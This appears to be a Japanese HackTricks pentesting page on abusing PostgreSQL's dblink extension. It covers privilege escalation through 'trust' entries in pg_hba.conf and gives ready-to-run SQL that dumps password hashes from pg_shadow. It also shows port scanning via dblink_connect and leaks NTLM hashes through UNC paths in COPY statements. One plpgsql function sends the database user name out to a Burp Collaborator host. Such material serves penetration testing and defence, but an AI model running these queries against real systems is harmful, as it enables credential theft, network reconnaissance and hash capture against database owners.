Network - Privesc, Port Scanner and NTLM chanllenge response disclosure

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricks をサポートする他の方法:

これらの攻撃に関する詳細情報は、元の論文で見つけることができますhttp://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt

PostgreSQL 9.1以降、追加モジュールのインストールは簡単です。登録された拡張機能(dblinkなど)は、CREATE EXTENSIONを使用してインストールできます。

CREATE EXTENSION dblink;

特権昇格

dblinkをロードしている場合、いくつかの興味深いトリックを実行できるかもしれません。

pg_hba.confファイルは、localhostからの接続を許可し、パスワードを知らなくても任意のユーザーとして接続できるように構成されている可能性があります。このファイルは通常、/etc/postgresql/12/main/pg_hba.confにあり、悪い構成は次のようになります:

local    all    all    trust

この設定は、管理者がパスワードを忘れた場合に、dbユーザーのパスワードを変更するために一般的に使用されるため、時々見つけることができるかもしれません。 また、ファイルpg_hba.confはpostgresユーザーとグループによってのみ読み取り可能であり、postgresユーザーによってのみ書き込み可能です。

このケースは、被害者のシェル内で既にシェルを持っている場合に便利です。これにより、postgresqlデータベースに接続できます。

別の可能性のある誤った設定は次のようなものです:

host    all     all     127.0.0.1/32    trust

ローカルホストから誰でもデータベースに接続できるようになります。 この場合、dblink 関数が動作している場合、すでに確立された接続を介してデータベースに接続し、アクセスすべきでないデータにアクセスすることができます。

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);

ポートスキャン

dblink_connectを悪用すると、オープンポートを検索することもできます。その**機能が機能しない場合は、ドキュメントによると、dblink_connect_u()を使用してみる必要があります。dblink_connect_u()dblink_connect()と同じであるが、非スーパーユーザーが任意の認証方法を使用して接続できるようになります。

SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?

// Port Filtered/Timeout
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTP server
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTPS server
ERROR:  could not establish connection
DETAIL:  received invalid response to SSL negotiation:

注意:dblink_connectまたはdblink_connect_uを使用する前に、次のコマンドを実行する必要があります。

CREATE extension dblink;

UNC パス - NTLM ハッシュの開示

-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated